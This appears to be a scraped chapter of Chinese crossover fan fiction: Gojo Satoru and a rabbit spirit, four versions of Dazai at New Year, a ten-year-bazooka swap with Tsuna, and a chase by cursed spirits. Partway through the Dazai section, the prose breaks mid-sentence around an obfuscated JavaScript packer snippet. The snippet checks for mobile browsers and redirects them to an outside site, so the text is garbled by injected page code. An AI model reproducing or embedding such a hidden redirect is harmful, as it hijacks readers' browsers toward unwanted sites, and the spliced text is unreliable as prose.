五条悟低头看着怀里的兔子。涂白把脸埋在他臂弯里,耳朵垂着,一副“没脸见人了”的样子。 --- 宠物医院的医生是个四十多岁的中年男人,戴着眼镜,看起来很温和。 他把涂白放在检查台上,摸了摸,按了按,又用听诊器听了听心跳。 “很健康的兔子。”他宣布,“没什么问题。” 五条悟松了口气。涂白也松了口气。 “不过,”医生推了推眼镜,“为了小兔子的长期健康考虑,我建议做绝育。公兔成年后需求比较强,绝育可以避免一些行为问题,也能延长寿命——” 话没说完,小黑兔突然暴起。 涂白四条腿一蹬,从检查台上跳起来,后腿精准无比地踹在五条悟脸上——左脚印在左脸,右脚印在右脸,看起来对称极了。 “咕咕咕咕咕!”你个混蛋都怪你! 五条悟捂着脸,表情无辜。 医生愣住了:“这兔子……脾气还挺大的。” 五条悟讪笑着把涂白抱回来,按在怀里。涂白还在挣扎,红眼睛瞪着他,一副“你还有脸笑”的表情。 回家的路上,涂白一直背对着五条悟,屁股对着他,小尾巴一抖一抖的。 五条悟戳了戳那团小绒球:“还生气呢?” 涂白不理他。 “医生就是随口一说,又不是真的要给你做绝育。” 涂白还是不理他。 回到公寓,五条悟把涂白放在沙发上,去厨房倒水。等他端着水回来,就看见涂白蹲在茶几上,面前堆着一堆东西。 银行卡,存折,现金,还有几个咒术界任务的报酬单。 五条悟愣住了:“这是干嘛?” 涂白抬起爪子,把那些东西往他面前推了推。 “咕咕。”给你。 五条悟没懂。 涂白深吸一口气,用妖力勉强挤出几个字,声音又轻又哑,但至少是人话了: “我的钱……都给你。” 五条悟挑眉。 涂白继续艰难地发声:“为了你……我的健康,前辈……你去绝育吧。” 五条悟的笑容僵在脸上。 “兔子需求旺盛,”涂白说,顺了一点,“但是跟你比……我真的不算什么。就算要绝育……也应该是你。” 房间里安静了三秒。 五条悟气笑了。 “小白,”他慢慢开口,声音很轻,“你的意思是,让我去绝育?” 小黑兔疯狂点头。 “因为你觉得,”五条悟继续说,语气越来越危险,“我昨晚做得太过分了?” 小黑兔点头点到一半,突然僵住。 五条悟站起来,慢条斯理地开始解衣服。 外套脱掉。毛衣脱掉。衬衫的扣子一颗一颗解开。 露出精瘦的胸膛,流畅的肌肉线条,还有那让人移不开眼的人鱼线。 小黑兔的眼睛都直了。 五条悟走到他面前,弯下腰,冰蓝色的眼睛近距离地盯着他。 “小白,”他轻声说,声音像带着钩子,“想摸吗?” 小黑兔的耳朵抖了抖。 五条悟又凑近一点,呼吸喷在他毛茸茸的脸上。 “想要亲亲吗?” 小黑兔的呼吸急促起来。 五条悟笑了,那个笑容又苏又坏。 “想要的话,”他慢慢说,“变回来。” 小黑兔盯着他,盯着那张俊脸,那双眼睛,那个笑容…… 脑子里最后一根弦“啪”地断了。 一阵银光闪过。 巴掌大的小黑兔消失了,取而代之的是穿着皱巴巴睡衣、满脸通红的涂白。 他刚变回人形,还没来得及说话,就被五条悟一把捞起来,按在腿上。 “啪。” 不轻不重的一下,打在屁股上。 涂白整个人都僵了,脸瞬间红透。 “还敢让我去绝育吗?”五条悟的声音从头顶传来,带着笑意。 “我、我……”涂白话都说不利索了,“我就是……” “就是什么?” “就是你昨晚太过分了……”涂白小声嘟囔,声音越来越小,“我、我腰现在还疼……” 五条悟沉默了一秒。 然后他把涂白翻过来,抱进怀里。 “对不起。”他轻声说,下巴抵在涂白发顶,“昨晚是我不好。” 涂白愣住了。 “但让我去绝育,这惩罚也太狠了吧?”五条悟的声音里又带上笑意,“我还想要个和小白一样的女儿呢。” 涂白脸更红了,把脸埋进他胸口,闷闷地说:“谁要给你生……” “你啊。”五条悟理所当然地说。 涂白不说话了。 五条悟抬起他的脸,看着他红红的眼眶,心里软了一下。 “哭什么?”他轻声问,拇指擦过涂白眼角,“我逗你玩的。” “没哭……”涂白嘴硬,但声音还带着鼻音。 五条悟笑了,低头,吻住他。 很轻的吻,一下一下的,像安抚,像道歉,也像告白。 涂白慢慢放松下来,开始回应。 吻越来越深,气氛越来越暧昧,五条悟的手开始不规矩地往衣服里探—— “叮咚——” 门铃响了。 两人同时僵住。 “别理。”五条悟低声说,要继续。 “叮咚叮咚叮咚叮咚——” 门铃被按得跟机关枪一样。 “五条老师——开门啊——我们来拜年啦——” 虎杖悠仁的大嗓门从门外传来,穿透力极强。 “五条悟!快开门!外面好冷!”钉崎野蔷薇的声音。 “五条老师,新年快乐。”伏黑惠的声音,沉稳多了。 “五条——开门——我带食材了——”熊猫的声音,咚咚咚地砸门。 “鲑鱼。”狗卷的声音。 “真麻烦。”禅院真希的声音。 “那个……大家都在外面呢……”乙骨忧太的声音,有点无奈。 五条悟闭了闭眼,深吸一口气。 涂白趁机从他怀里挣脱出来,手忙脚乱地整理衣服。他跑到卫生间照了照镜子——脸还红着,眼睛也红红的,一看就不对劲。 他洗了把脸,又用力拍了拍脸颊,让红色褪下去一点。 出来时,五条悟已经穿好衣服了。他走过来,帮涂白把衣领翻好,又用拇指擦了擦他嘴角。 “好了,看不出来了。”他轻声说,“去开门?” 涂白点点头,跟着他走到门口。 五条悟拉开门。 门外,虎杖悠仁举着手,正准备继续按门铃。看见五条悟,他咧嘴笑了:“五条老师!新年快乐!” 后面站着一群人。伏黑惠拎着一个大袋子,钉崎野蔷薇抱着几瓶饮料,熊猫扛着一个巨大的箱子,真希提着两袋蔬菜,狗卷捧着几盒调料,乙骨忧太拎着几盒肉。 “新年快乐!”众人齐声说。 五条悟看着他们,叹了口气。 “你们这是……来拜年还是来打劫?” “来蹭饭!”虎杖理直气壮,“我们带了食材,五条老师请客!” “请客是你们说的,食材也是你们带的,”五条悟挑眉,“那我请什么?” “请地方啊!”钉崎说,“你这儿地方大!” 五条悟被噎住了。 涂白从后面探出头,看见这么多人,有点不好意思:“新年快乐……” “涂白哥新年快乐!”虎杖热情地打招呼,“哇你脸好红,是不是刚才在睡觉?” “啊?嗯……对……”涂白心虚地点头。 众人挤进屋里,把食材往厨房一放,就开始叽叽喳喳地布置起来。虎杖和钉崎抢着洗菜,伏黑惠默默地把火锅拿出来摆好,熊猫把巨大的箱子打开——里面是各种丸子蔬菜,真希和乙骨帮忙摆碗筷,狗卷负责调蘸料。 “五条老师!你家有多的锅吗?”虎杖从厨房探出头。 “有,柜子里。” “好嘞!” 一群人热热闹闹地忙活起来。 涂白站在旁边,有点不知所措。他平时和五条悟两个人住惯了,突然来这么多人,有点不习惯。 五条悟走过来,揽住他的肩。 “习惯就好。”他轻声说,“这群家伙每年都来,赶都赶不走。” “我听见了哦五条老师!”虎杖的声音从厨房传来。 “就是让你听见的。” 涂白忍不住笑了。 火锅很快准备好了。一群人围着餐桌坐下,热气腾腾的锅子摆在中间,肉片、蔬菜、丸子在里面翻滚。 “来,干杯!”虎杖举起饮料。 “干杯!” 大家碰杯,喝了一大口。 “五条老师,你今年的新年愿望是什么?”钉崎问。 五条悟看了一眼旁边的涂白,嘴角翘起来:“愿望啊……希望明年能多一个人。” “多一个人?”虎杖愣了,“什么意思?” 伏黑惠默默夹了片肉,没说话。他好像懂了。 涂白脸又红了,低头拼命吃菜。 “涂白哥你呢?”钉崎又问。 “我?”涂白想了想,“希望……大家都平平安安的。” “好官方啊。”钉崎撇嘴。 “那你的呢?”涂白反问。 “我的啊,”钉崎认真想了想,“希望能成为更强的咒术师,然后——吃遍东京所有好吃的!” “这算什么愿望啊。”虎杖吐槽。 “你呢你呢?” “我啊,”虎杖咧嘴笑了,“希望能保护好所有人,然后——和五条老师一样高!” 众人看了一眼虎杖现在的身高,又看了看五条悟,沉默了。 “加油。”伏黑惠难得开口。 “伏黑你这语气怎么跟‘节哀’一样!” 大家笑成一团。 一顿火锅吃了两个小时,边吃边聊,从咒术界八卦聊到高专趣事,从新年愿望聊到去年的糗事。涂白一开始还有点拘谨,后来也放开了,跟着一起笑。 送走他们的时候,天已经黑了。 “五条老师,明年还来蹭饭!”虎杖挥手。 “随便。”五条悟靠在门框上,“反正你们记得自己带食材就行。” “小气!” 一群人笑着走了。 涂白站在五条悟身边,看着他们走远。 “你学生真有意思。”他说。 “一群麻烦精。”五条悟说,但语气里带着笑意。 他转身进屋,涂白跟在后面。 晚上,五条悟去洗澡,涂白坐在床边,发了会儿呆。 然后他站起来,从抽屉里拿出纸笔,写了几行字: 【我去找我哥了,不用担心。别来找我。——小白】 他把纸条放在床头柜上,拿起背包,悄悄打开门。 走廊里很安静。他轻手轻脚地走到电梯口,按下按钮。 电梯门打开,他走进去。 门关上的瞬间,他好像听见浴室门打开的声音。 但他没回头。 二 与此同时,横滨。 涂宝坐在沙发上,看着眼前的四个太宰治,脑子里一片空白。 事情要从今天早上说起。 昨晚除夕,涂宝和太宰一起跨年。太宰送了他一本《完全自杀手册》的新年版,说是“新年礼物”。涂宝当时没太在意,晚上太宰睡了之后,他随手拿起那本书,在背面空白处写自己的新年愿望。 “要是能早点遇见太宰先生就好了。” “真想看见每个时期的太宰先生。” 写完他就睡了。 然后今天早上,他醒来的时候,发现自己身边躺着一个人。 黑色的头发,黑色的西装,披着黑色大褂,脖子上围着红色的围巾。那张脸是太宰的脸,但气质完全不一样——冷,沉,像一潭死水。 涂宝刚醒,脑子还不清醒,看见那张脸就扑过去了。 “太宰先生!新年快乐!” 他抱住那个人,把脸埋进他胸口蹭了蹭,然后抬头,撅着嘴就要亲上去。 那个人没动,也没推开他。 涂宝就亲上去了。 嘴唇碰嘴唇,软软的,凉凉的。 亲完了,涂宝才发现不对劲。 太宰先生怎么不回应? 他睁开眼睛,看见那双鸢色的眼睛正盯着他,空洞,冰冷,没有任何情绪。 涂宝愣住了。 就在这时,身后传来一个声音。 “涂宝,你在干什么?” 那个声音听起来很熟悉,但语气冷得像冰。 涂宝僵硬地转过头。 卧室门口,站着另一个太宰治。 黑色的微卷短发,沙色的长款风衣——是武侦宰。他平时的男朋友。 但此刻,那张俊脸上没有任何表情,只是直直地盯着涂宝,盯着涂宝还抱着另一个太宰的手,以及涂宝刚亲完对方的嘴。 涂宝的脑子“嗡”地一下。 他低头看看自己抱着的人——首领宰。又看看门口站着的——武侦宰。 两个太宰。 他慢慢松开手,从床上滑下来,腿软得差点站不住。 然后他看见客厅里还有两个人。 一个靠在窗边,穿着黑色的西装外套,绷带缠满了手臂和脖颈,嘴角挂着玩世不恭的笑——□□时期宰。 一个坐在沙发上,小小的,穿着背带裤,绷带从袖口露出来——幼年宰。 四个。 四个太宰治。 涂宝的眼睛瞬间红了。 “我、我……”他张了张嘴,想解释,但不知道从何解释。他看看武侦宰,又看看首领宰,又看看另外两个,眼泪“唰”地就掉下来了。 “呜……” 武侦宰的脸色变了。他快步走过来,一把把涂宝拉进怀里。 “别哭。”他说,声音软下来,“我没生气。” 涂宝把脸埋在他胸口,哭得一抽一抽的:“可、可是……我亲了别人……” “那是另一个我。”武侦宰叹了口气,“算别人吗?” 涂宝抬起头,眼睛红红的,睫毛上还挂着泪珠:“算……吧?” 武侦宰被他这不确定的语气逗笑了,伸手擦了擦他的眼泪。 “好了,别哭了。”他轻声说,“先搞清楚这是怎么回事。” 首领宰从床上坐起来,整理了一下衣领。他看了武侦宰一眼,又看了看涂宝,若有所思。 “你就是这个世界的……我的恋人?”他问涂宝,声音很平静,但那种平静让人心里发毛。 涂宝缩了缩,躲在武侦宰怀里,只露出半个脑袋,小声“嗯”了一下。 首领宰沉默了几秒。 “我那个世界,”他说,“应该也有一个你吧?” 涂宝愣住了。 “按理来说,每个世界都有对应的存在。”首领宰说,“既然这里有你,我那边也应该有。” 他顿了顿,眼神更深了。 “他在哪?” 涂宝不知道该怎么回答。他只是看着首领宰,心里突然有点难过——这个太宰先生,他那边没有自己吗? □□宰不耐烦地插嘴:“吵死了,我回去算了。” “不行!”武侦宰说,“你们莫名其妙出现,我得搞清楚怎么回事。宝儿,你昨晚做什么了?” 涂宝抽抽噎噎地想了想:“我……我在你送的那本书上写了愿望……” 武侦宰愣了一下,然后笑了:“原来是那本书的背面?你写了什么?” 涂宝小声说:“我写……要是能早点遇见太宰先生就好了,真想看见每个时期的太宰先生……” 众人沉默。 □□宰嗤笑一声:“幼稚。” 幼年宰拽了拽涂宝的衣角,抬头看他,鸢色的眼睛里满是依赖:“哥哥不哭,你哭起来就不好看了。” 涂宝被这句童言逗得愣了一下,眼泪还挂在脸上。 武侦宰蹲下来,跟幼年宰平视,皮笑肉不笑:“小鬼,你装什么乖?” 幼年宰往涂宝身后躲了躲,无辜地看着他。 涂宝护着幼宰:“你别吓他,他还是个孩子。” 武侦宰挑眉:“他是装的你不知道?” 涂宝摇头:“这么小的孩子怎么会装?” 幼宰在涂宝身后,偷偷朝武侦宰做了个鬼脸,然后扯扯涂宝的袖子:“抱抱。” 涂宝把他抱起来,幼宰搂着他的脖子,挑衅地看了武侦宰一眼。 武侦宰眯起眼,正要说话,□□宰突然从窗边走过来,上下打量着涂宝。 “啧,”他说,“未来的我,就喜欢这种哭包?” 武侦宰脸黑了:“你闭嘴。” “我说错了?”□□宰笑了一声,“又软又爱哭,有什么好的?” 涂宝被他说得又想哭了。 但他忍住了。他把幼宰放下,然后擦了擦眼睛,看着□□宰。 “我、我打游戏很厉害。”他小声说。 □□宰挑眉。 “多厉害?” 涂宝没说话,走到电视前,打开游戏机,拿起手柄,选了一个对战游戏,开始打。 十分钟后。 □□宰看着屏幕上那个连续KO自己二十次的角色,沉默了。 “再来。”他说。 又十分钟。 又是二十连败。 □□宰放下手柄,看向涂宝的眼神变了。 “你……”他开口,顿了顿,“跟我回去吧。” 涂宝懵了:“啊?” “我那边也需要一个能陪我打游戏的。”□□宰说,语气认真,“你跟我回去。” 武侦宰不知何时出现在旁边,挡在涂宝前面:“喂,别抢我的人。” □□宰冷笑:“你的人?刚才还被别人亲了。” 武侦宰脸色一黑。 涂宝躲在武侦宰身后,小声说:“我、我不去□□……” 首领宰不知何时也站在了客厅角落,静静地看着这一幕。他的视线一直落在涂宝身上,像是在确认什么。 幼年宰跑过来,抱住涂宝的腿,仰头说:“哥哥别怕,我保护你。” 涂宝低头看他,心都要化了。 武侦宰一把拎起幼年宰,扔到沙发上:“少来这套。” 幼宰在沙发上滚了一圈,爬起来,又要往涂宝那边跑。 他扑到涂宝怀里,蹭了蹭,小声说:“哥哥,我想要亲亲。” 涂宝犹豫了一下,低头在他额头上亲了一下。 幼年宰笑了,笑得特别甜。 武侦宰在旁边,脸色已经黑成锅底了。 首领宰一直站在窗边,静静地看着这一切。他的目光落在涂宝身上,看了很久很久。 然后他开口了,声音很轻: “如果我那边也有你……” 他顿了顿。 “他会是什么样?” 涂宝抬起头,看着他。 那个太宰先生,穿着黑色的首领服,眼神空洞得像一潭死水。但就在这一刻,那双眼睛里好像闪过了一丝什么。 “他……”涂宝想了想,小声说,“应该和我一样吧。喜欢打游戏,喜欢哭,喜欢……太宰先生。” 首领宰没说话。 他看着涂宝,看着这个软软的、爱哭的、会抱着幼年宰轻轻哄的男孩。 幼年宰把脸靠在他肩膀上,小声说:“哥哥,你身上好香。” 涂宝笑了,揉了揉他的小脑袋。 武侦宰在旁边看着,脸色越来越黑,再次一把拎起幼年宰,丢到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192722|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边去,□□宰顺势偷偷的拉住涂宝的手,一副必须要把人带回去的样子,武侦宰发现了又去扯。 客厅里一片混乱。 涂宝站在中央,看着四个太宰,欲哭无泪。 这个新年,怎么过啊…… 三 彭格列总部的新春晚宴正在进行。 豪华的大厅里,守护者们聚在一起,桌上摆满美食。沢田纲吉穿着笔挺的西装,站在人群中,温和地和宾客交谈。 涂兔坐在角落的沙发上,端着一杯香槟,桃花眼慵懒地扫过人群。银白色的长卷发披散在肩头,他今天穿了件深红色的礼服,衬得皮肤更白。 蓝波端着蛋糕跑过来,在涂兔旁边坐下。 “涂兔哥,你怎么不去玩?” “懒得动。”涂兔懒洋洋地说。 蓝波撇撇嘴,正要说什么,突然被旁边的狱寺敲了下脑袋。 “别打扰涂兔先生。”狱寺叼着烟,“十代目说了,今晚要好好招待客人。” 蓝波捂着脑袋,不满地嘟囔:“干嘛打我……” 山本武笑着过来:“蓝波,你蛋糕快掉了。” 蓝波低头一看,蛋糕确实歪了,赶紧扶正。他气呼呼地站起来,从口袋里掏出十年火箭炮,对着山本喊:“我要把十年后的你换过来揍他一顿!” “喂喂——”山本想躲,但蓝波已经扣动了扳机。 “砰!” 一阵粉色的烟雾炸开。 但烟雾散去后,山本还在原地,反而是旁边的涂兔不见了。 沙发上只剩下一个空酒杯。 “咦?”蓝波愣了。 与此同时,烟雾的另一端—— 并盛町,泽田家。 十四岁的泽田纲吉正坐在客厅里,吃着妈妈做的年糕,看着电视里的红白歌会。Reborn坐在他旁边,悠闲地喝着咖啡。 一阵粉色烟雾炸开,一个身影出现在客厅中央。 纲吉吓得年糕都掉了。 烟雾散去,一个穿着深红色礼服、银白色长卷发、桃花眼红瞳的漂亮青年站在客厅里,正茫然地打量四周。 涂兔低头看了看自己的衣服,又看了看面前那个小个子的棕发少年。 十四岁的纲吉,穿着家居服,粗眉毛,一脸惊恐。 涂兔眨眨眼,瞬间明白了怎么回事。 十年火箭炮。他穿越到十年前了。 他打量着面前这个小纲吉——软软的棕色短发,圆圆的棕褐色眼睛,眉毛有点粗,表情像只受惊的小兔子。 涂兔嘴角慢慢勾起一个笑。 他走过去,在小纲吉面前蹲下,笑眯眯地说:“你好啊,我是你未来的男朋友。” 小纲吉整个人都傻了。 “未、未来……男朋友?”他声音都变了调。 “对啊。”涂兔伸手戳了戳他的脸,软软的,“以后你要听我的,知道吗?” 小纲吉脸腾地红了,往后躲了躲:“可、可是……你是男的啊……” “男的怎么了?”涂兔挑眉,“你未来就喜欢男的。” 小纲吉瞪大眼睛,脑子一片空白。 他暗恋京子的事,整个并盛都知道。未来的自己怎么会喜欢男的? 涂兔看他眼神躲闪,心里一动,凑近问:“怎么?你现在有喜欢的人?” 小纲吉下意识摇头,但那个反应太假了。 涂兔逼问:“谁?” 小纲吉犹豫了半天,小声说:“京子……” 涂兔的笑容僵在脸上。 京子。一听就是个女生的名字。 他盯着小纲吉,那双桃花眼慢慢红了。他咬着嘴唇,努力维持表情,但声音还是抖了一下:“你喜欢谁……关我什么事……” 说完他站起来,转过身,不想让小纲吉看到自己的脸。 小纲吉的直觉疯狂报警——自己好像做错事了,好像伤害了这个人。他手忙脚乱地站起来,想道歉,又不知道该说什么。 “那个……你、你别难过……”他结结巴巴地说。 涂兔没回头,只是肩膀抖了一下。 Reborn坐在旁边,喝着咖啡,饶有兴致地看着这一幕。 --- 另一边,十年后的彭格列总部。 一阵粉色烟雾炸开,沙发上出现一个小小的身影。 众人看过去——一个七八岁的小男孩,银色卷毛,红眼睛,穿着小睡衣,怀里还抱着个胡萝卜抱枕。 小涂兔眨了眨眼睛,看了看周围陌生的环境,又看了看面前那群穿着西装的大人。 泽田纲吉快步走过来,蹲下,温和地问:“小朋友,你叫什么名字?” 小涂兔盯着他看了几秒,然后理直气壮地说:“我饿了,要吃蛋糕。” 纲吉愣了一下,然后笑了:“好,我给你拿蛋糕。” 他牵起小涂兔的手,往餐桌那边走。小涂兔一点也不怕生,一边走一边打量四周。 “这是你家吗?”小涂兔问。 “算是吧。”纲吉说。 小涂兔歪头看他:“那你为什么对我这么好?” 纲吉想了想,笑着说:“因为你是客人啊。” 小涂兔点点头,接受了这个解释。到了餐桌边,他指着一个大大的草莓蛋糕:“我要那个。” 纲吉给他切了一块,小涂兔接过来,坐在椅子上,小口小口地吃。 吃了几口,他抬头看纲吉:“你人不错,以后让我哥哥们来你家玩。” 纲吉笑着点头:“好啊。” 周围守护者们都在看热闹。狱寺小声说:“这孩子就是涂兔先生小时候啊。” 山本笑着说:“也可能是涂兔先生的弟弟?” 蓝波心虚地缩了缩脖子。 --- 十分钟很快过去。 粉色烟雾再次炸开,涂兔回到了十年后的沙发上,而小涂兔则是回到了十年前。 涂兔睁开眼,看着周围熟悉的场景,又看到站在面前的泽田纲吉——成年版的。 那张温和的脸上带着笑意:“欢迎回来,兔兔。” 涂兔盯着他,想起刚才那个小纲吉说的话,心里那股酸劲儿又上来了。 他别过脸,不说话。 纲吉愣了一下,走过去在他旁边坐下:“怎么了?” “没怎么。”涂兔硬邦邦地说。 纲吉的直觉告诉他,一定发生了什么。他想了想,试探着问:“你见到十年前的……我了?” 涂兔没说话,但那个反应就是默认。 纲吉叹了口气:“他是不是说了什么让你不高兴的话?” 涂兔终于转过头,红着眼睛看他:“他说他喜欢京子。” 纲吉一愣,然后有点尴尬地摸了摸鼻子:“那是……那是很久以前的事了……” 涂兔瞪着他:“很久以前?那就是真的喜欢过?” “是喜欢过,但那是少年时期……” “你喜欢过别人。”涂兔打断他,眼眶更红了,“那你以后会不会还会喜欢别人?” 纲吉急了:“不会!我发誓——” “你发誓有什么用?”涂兔站起来,想走。 纲吉一把拉住他的手,把他拉回沙发上,认真地看着他:“兔兔,我喜欢的人是你,只有你。以前那些都是过去的事了,我那时候还不认识你。” 涂兔咬着嘴唇,不说话。 纲吉伸手,轻轻擦掉他眼角的那点湿意:“别生气了,好不好?” 涂兔盯着他看了几秒,心里的酸劲慢慢消下去一点。他垂下眼,小声说:“那你以后不许看别人。” “不看,只看你。”纲吉立刻保证。 涂兔哼了一声,靠进他怀里。 纲吉松了口气,低头亲了亲他的头发。 就在这时,一个声音悠悠地从旁边传来: “蠢纲以前的情史可是很丰富的哦。除了京子,还被黑川花表白过,国中时还有好几个女生给他写过情书。” Reborn端着咖啡,站在不远处,嘴角挂着看戏的笑。 涂兔猛地坐直,扭头盯着纲吉。 纲吉脸上的笑容僵住了。 “情书?”涂兔的声音危险起来。 “那都是过去的事了——” “丰富的情史?” “Reborn你别乱说——” 但涂兔已经站起来,拉着纲吉就往门口推。 “今晚你睡沙发。” “兔兔——” “砰!” 门在纲吉面前关上。 纲吉站在门外,欲哭无泪。 Reborn走过来,拍了拍他的肩,语气同情,但表情幸灾乐祸:“新年快乐,蠢纲。” 纲吉叹了口气,靠着墙蹲了下来。 这个新年,大概是要在沙发上过了。 四 横滨,某栋公寓楼。 涂白站在一扇门前,深吸一口气。 他按照记忆找到了涂宝的住处。 敲了敲门。 里面传来一阵混乱的声音——好像是脚步声,争吵声,还有东西掉在地上的声音。 过了一会儿,门被拉开一条缝,一只红红的眼睛从门缝里露出来。 是涂宝。 “二宝?”涂宝的声音带着哭腔,但眼神里有一丝……惊恐? “哥,我来找你过年了。”涂白笑了笑,“方便吗?” 涂宝张了张嘴,没说话。 门被彻底拉开了。 涂白看到里面的场景,整个人愣住了。 客厅里,站着三个成年男人。 一个穿沙色风衣,笑眯眯地看着他。 一个披着黑色西装外套,绷带缠身,表情冷漠。 一个穿纯黑西装、披黑大衣、围着红围巾,眼神空洞。 沙发上还坐着一个六七岁的小男孩,黑色短发,正抱着一个游戏手柄,好奇地看着他。 四个……太宰治? 涂白大脑宕机。 “二宝,你来得正好……”涂宝抓住他的袖子,眼泪汪汪,“我不知道该怎么办……” 涂白还没来得及反应,身后传来一个熟悉的声音: “小白,跑这么快干嘛?” 涂白僵住了。 他慢慢转过头。 走廊尽头,五条悟站在那里,没戴眼罩,冰蓝色的眼睛在昏暗的灯光下闪闪发亮。他穿着居家的黑色衬衫和长裤,头发还有点湿,显然是刚洗完澡追出来的。 他笑眯眯地看着涂白,但那笑容怎么看怎么危险。 “纸条写得挺简单啊。”他走过来,“去找哥哥?嗯?” 涂白后退一步,撞上身后的门框。 他看看屋里——四个太宰,一个哭包哥哥。 再看看屋外——一个笑得渗人的五条悟。 他夹在中间,进退两难。 “那个……我可以解释……”他弱弱地说。 五条悟已经走到他面前,低头看他:“解释什么?解释你为什么跑?还是解释——这几位是谁?” 他越过涂白的肩膀,看向屋里那四个太宰。 四个太宰也同时看向他。 空气中仿佛有电光闪过。 涂宝躲在涂白身后,小声说:“二宝,你这边这个看起来好像更吓人……” 涂白欲哭无泪。 这个新年,到底还能不能好好过了? 33.第33章 :感应 小黑兔子跑了一夜。 不,不知道跑了多久。森林里黑漆漆的,分不清白天黑夜,只有偶尔从树叶缝隙漏下来的几缕月光,让它知道自己还在往前跑。 四条腿早就没力气了,每一步都像踩在棉花上,软绵绵的,随时可能倒下。但它不敢停。 身后有追兵。 那些咒力波动一开始很远,后来近了,后来又远了。可能是追错了方向,可能是被别的东西吸引了注意力。但涂白知道,他们不会放弃。 他必须跑。越远越好。 又跑了一段,前面传来水声。一条小溪,不宽,水很浅,清亮的月光照在水面上,泛着银色的光。 涂白停下来,喘着气。他看了看身后,又看了看小溪。 追兵会追踪他的气息。他跑了这么久,气息肯定散得到处都是,但如果有更强烈的水流冲刷…… 他咬了咬牙,跳进小溪里。 溪水很凉,冰一样,冻得他浑身一抖。但他没停,顺着水流往下游跑,四条小短腿在水里扑腾,溅起一片片水花。 跑了几十米,他爬上岸,浑身湿透,抖得像筛糠。 但他顾不上冷。他闭上眼睛,调动体内几乎枯竭的妖力。 得恢复人形。哪怕只恢复一点点,也比兔子跑得快。 妖力在体内流转,像干涸的河床里渗出最后几滴水。他的身体开始膨胀,变大,从巴掌大的兔子慢慢变成人形。 一米,一米五,一米七。 他睁开眼睛,低头看着自己的手——是人类的手,但皮肤苍白,还带着一点绒毛。他摸了摸头顶——耳朵还在,长长的,软软的,垂在脑袋两侧。尾巴也还在,小小的绒球,在尾椎那里。 妖力太弱了,维持不住完整的人形。但至少能跑了。 涂白深吸一口气,转身继续往森林深处跑。 风在耳边呼啸,树枝刮过脸颊,生疼。他顾不上,只是跑。 小腹处宝宝微弱地跳动着,像是在给他打气。 “再坚持一下。”他小声说,不知道是对自己说,还是对那个小小的存在说,“再坚持一下就好。” --- 跑着跑着,他突然停下。 前面有人。 不,不是人。是咒力波动,强烈的,带着恶意的咒力波动。 三个。 涂白后退一步,转身想跑,但身后也传来了咒力波动。 被包围了。 他从树林的阴影里慢慢走出来。三个身影,站在月光下。 第一个走在最前面,穿着独特的厚着和服,露出精瘦的腰。棕黑色的头发扎成两个冲天的马尾,中分的碎刘海在风里轻轻晃动。脸上有深色的横纹和玫紫色的眼影,鼻梁处有黑色的咒印。容貌端正俊朗,眼神却冷得像冰。 第二个跟在他身后,穿着暴露的紧身背心,露出线条分明的肌肉。发型很特别——两侧剃短,只留前发,像某种前卫的莫西干。五官端正,嘴角带着若有若无的笑,但那双眼睛里没有任何温度。 第三个站在最后面,瘦小的身形,蓝绿色的短发乱糟糟的。上半张脸是人的脸,下半张脸却是个巨大的、裂开的嘴,露出森白的牙齿。眼口鼻都在流血,看起来像是从地狱爬出来的恶鬼。 这是三只咒灵,而且都是特级的。 涂白的心沉到谷底。 走在最前面的那个——胀相——开口了,声音低沉平静: “你就是那个兔子?” 涂白没说话。他慢慢后退,手按在胸口,试图调动妖力。 但太少了。太少了。 第二个——坏相,笑了,那笑容优雅得像是在参加宴会:“别费劲了。你的妖力快枯竭了,我们看得出来。” 第三个——血涂,从后面探出头,巨大的嘴咧得更开了,口水混着血滴下来:“哥哥,可以吃吗?” 胀相没回答。他只是盯着涂白,眼神复杂。 “大人让我们来带你回去。”他说。 涂白知道他说的是那个男人,但他没理他。他在找机会,任何一点机会。 坏相突然往前迈了一步。 涂白后退一步,右手虚握,构筑术式发动。 银色的光芒在掌心亮起,很微弱,但足够凝聚成一把刀。不是之前那种威风凛凛的长刀,而是一把残破的、刀刃上还有缺口的短刀。 但至少是武器。 坏相挑了下眉:“还能打?有意思。” 他抬手,指尖凝出一滴血珠。血珠在月光下泛着诡异的光,慢慢变大,分裂,变成几十颗细小的血珠,悬浮在空中。 “蚀烂腐术。”坏相轻声说,像是在介绍自己的作品,“沾上一点,你的血液系统就会崩溃。放心,不会死,只会……很痛苦。” 血珠朝涂白飞来。 涂白挥刀,斩碎几颗,但血珠太多了,密密麻麻,像一场血雨。他边退边砍,但很快就被逼到一棵大树前,无路可退。 一颗血珠擦过他的手臂。皮肤瞬间发黑,剧痛传来,像是有无数只蚂蚁在啃噬他的血肉。 涂白咬牙,用刀削掉那块肉。血涌出来,但黑色的腐蚀停止了。 坏相“哦”了一声,有点惊讶:“够狠。” 胀相始终没动。他只是站在后面,看着这一切,眼神幽深。 血涂等不及了。他冲上来,张开巨大的嘴,喷出一大口毒血。毒液像瀑布一样朝涂白涌来,覆盖范围太广,根本躲不开。 涂白构筑出一个盾牌,但盾牌刚成型就被毒血腐蚀,瞬间瓦解。 毒液溅到他身上,衣服烧出一个个洞,皮肤冒起白烟。他惨叫一声,跪倒在地,刀脱手飞出,插在不远处的地上。 血涂兴奋地叫起来:“哥哥!我打中他了!” 坏相皱眉:“别弄死了。还要带回去。” 胀相终于动了。他慢慢走过来,在涂白面前站定,居高临下地看着他。 涂白抬起头。脸上被毒血溅到的地方已经溃烂,血和脓混在一起往下流。他的红眼睛暗淡无光,但还在瞪着胀相,没有求饶,也没有哭。 胀相盯着那双眼睛,沉默了几秒。 然后他抬手,指尖凝出一滴血。那是他自己的血,鲜红的,在月光下闪着光。 “既然他不肯跟我们回去。”他说,“那就在这里解决吧。” 血滴朝涂白飞去。 涂白看着那滴血越来越近,知道自己躲不掉了。 他闭上眼睛,双手护住小腹。 脑海里闪过最后一个画面。 